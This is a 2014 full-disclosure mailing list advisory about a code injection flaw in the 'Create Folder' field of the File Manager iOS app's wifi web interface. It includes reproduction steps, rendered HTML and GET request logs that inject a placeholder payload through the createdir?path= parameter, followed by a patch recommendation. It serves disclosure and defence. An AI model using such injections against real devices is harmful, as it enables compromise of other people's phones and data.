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List: full-disclosure
Subject: [FD] File Manager v4.2.10 iOS - Code Execution Vulnerability
From: Vulnerability Lab <research () vulnerability-lab ! com>
Date: 2014-10-23 11:44:26
Message-ID: 5448EA1A.3070409 () vulnerability-lab ! com
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Document Title:
===============
File Manager v4.2.10 iOS - Code Execution Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1343
Release Date:
=============
2014-10-21
Vulnerability Laboratory ID (VL-ID):
====================================
1343
Common Vulnerability Scoring System:
====================================
9
Product & Service Introduction:
===============================
Try a file manager that's unmatched in functionality and reliability. It was created to manage \
your cloud services like GoogleDrive, Dropbox, Box, OneDrive, Yandex.Disk, and network \
services like FTP, SFTP, SMB, WebDAV, DLNA, photo galleries and files on your device. Manage \
all of your stored data like sub-folders - copy, move, rename or compress to archive your \
folders and files. It supports all possible archive
formats: Zip, Rar, 7z, tar, gz, bz2. You can protect your folders and files with a password and \
view photo, video and audio content, as well as documents. This application will be a great \
help for everyday tasks. Copy a folder from one cloud service to any other - easy! Quickly move \
a folder from an archive to a cloud service - easy! Copy your gallery to a network or cloud \
service - easy!
(Copy of the Homepage: https://itunes.apple.com/de/app/file-manager-pro-manage-your/id926125881 \
)
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research team discovered a code execution vulnerability in the \
official DevelSoftware LTD - File Manager v4.2.10 iOS mobile application.
Vulnerability Disclosure Timeline:
==================================
2014-10-21: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
DevelSoftware LTD
Product: File Manager - iOS Mobile Web Application (Wifi) 4.2.10
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Critical
Technical Details & Description:
================================
A code execution vulnerability has been discovered in the official DevelSoftware LTD - File \
Manager v4.2.10 iOS mobile application. The issue allows an attacker to compromise the \
application and connected device components by exploitation of a system specific code \
execution vulnerability in the wifi interface.
The vulnerability is located in the `Create Folder` input field of the index.html wifi web \
interface. The function create the path value without any protection or filter mechanism in \
the GET method request. Remote attackers are able to manipulate the GET method request by \
usage of the `createdir?path=` parameter to compromise the application or device. The execution \
of the code occurs in the index.html file next to the name output context of the wifi share \
file dir listing. The attack vector is located on the application-side of the mobile app and \
the request method to inject is GET.
The security risk of the remote code execution web vulnerability is estimated as critical with \
a cvss (common vulnerability scoring system) count of 8.8 Exploitation of the remote code \
execution web vulnerability requires no privileged application user account (passwd default \
blank) or user interaction. Successful exploitation of the code execution vulnerability \
results in mobile application compromise and connected or affected device component compromise.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] Create Folder
Vulnerable Parameter(s):
[+] createdir?path=(name)
Affected Module(s):
[+] Wifi Interface (index.html)
Proof of Concept (PoC):
=======================
The code execution vulnerability can be exploited by attackers in the same local wifi without \
user interaction or pass code authorization. For security demonstration or to reproduce the \
security vulnerability follow the provided information and steps below to continue.
1. Install the mobile app to your local iOS device (iphone or ipad) \
[https://itunes.apple.com/de/app/file-manager-pro-manage-your/id926125881] 2. Start the app and \
push in the left corner the wifi transfer button 3. Take another device or computer that allows \
you to access the wifi file transfer interface (localhost:80) 4. Now, inject own code as \
payload by usage of the create folder input field
Note: The input field requests the path value directly via GET method request without secure \
parse or encode 5. The code execution occurs directly after the inject in the index.html file \
of the web interface 6. Successful reproduce of the security vulnerability!
PoC: index.html (Name) [createdir?path=]
<fieldset class="buttonsFieldset">
<input disabled="" value="Download Files" class="buttons" id="loadFileButton" \
onclick="loadFileButtonClick()" type="button">
<input value="Upload Files" class="buttons" id="uploadFilesButton" \
onclick="uploadFilesButtonClick()" type="button">
<input value="Create Folder" class="buttons" id="createFolderButton" \
onclick="createFolderButtonClick()" type="button">
<input disabled="" value="Rename" class="buttons" id="renameButton" \
onclick="renameButtonClick()" type="button">
<input disabled="" value="Delete" class="buttons" id="deleteButton" \
onclick="deleteButtonClick()" type="button">
<input value="Select All" class="buttons" id="selectAllButton" \
onclick="selectAllButtonClick()" type="button">
<input value="Deselect All" class="buttons" id="unselectAllButton" \
onclick="unselectAllButtonClick()" type="button"> </fieldset>
<div class="separator"></div>
<div class="fileListTableContainer">
<table class="table" id="fileListTable"><tbody><tr id="fileListTable_-1" \
class="header"> <td id="fileListTable_-1_0" class="field">Name</td><td id="fileListTable_-1_1" \
class="field">Ext</td><td id="fileListTable_-1_2" class="field">Size</td></tr> <tr index="0" \
id="fileListTable_0" class="row"><td index="0" field="name" id="fileListTable_0_0" \
class="cell">>-[CODE EXECUTION VULNERABILITY!]></td> <td index="1" field="ext" \
id="fileListTable_0_1" class="cell">dir</td><td index="2" field="size" id="fileListTable_0_2" \
class="cell"></td></tr> <tr index="1" id="fileListTable_1" class="row"><td index="0" \
field="name" id="fileListTable_1_0" class="cell">testfolder1</td><td index="1" field="ext" \
id="fileListTable_1_1" class="cell">dir</td><td index="2" field="size" id="fileListTable_1_2" \
class="cell"></td></tr><tr index="2" id="fileListTable_2" class="row"><td index="0" \
field="name" id="fileListTable_2_0" class="cell">testfolder2</td><td index="1" field="ext" \
id="fileListTable_2_1" class="cell">dir</td><td index="2" field="size" id="fileListTable_2_2" \
class="cell"></td></tr></tbody></table></div>
--- PoC Session Logs [GET] ---
Status: 200[OK]
GET http://localhost:80/createdir?path=%2F%3E%22%3C-[CODE EXECUTION VULNERABILITY!];%3E Load \
Flags[LOAD_BACKGROUND ] Größe des Inhalts[43] Mime Type[application/x-unknown-content-type] \
Request Header: Host[localhost:80]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost:80/index.html]
Connection[keep-alive]
Response Header:
Connection[Keep-Alive]
Content-Length[43]
Status: 200[OK]
GET http://localhost:80/-[CODE EXECUTION VULNERABILITY]; Load Flags[LOAD_DOCUMENT_URI ] \
Größe des Inhalts[-1] Mime Type[application/x-unknown-content-type] Request Header:
Host[localhost:80]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost:80/index.html]
Connection[keep-alive]
Response Header:
Connection[Close]
Date[Sun, 19 Oct 2014 16:22:46 GMT]
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure restriction and parse of the create folder input \
field. Encode also the vulnerable name value in the index.html file to prevent \
application-side code execution attacks.
Security Risk:
==============
The security risk of the code execution web vulnerability in the path value is estimated as \
critical. (CVSS 8.8)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) \
[www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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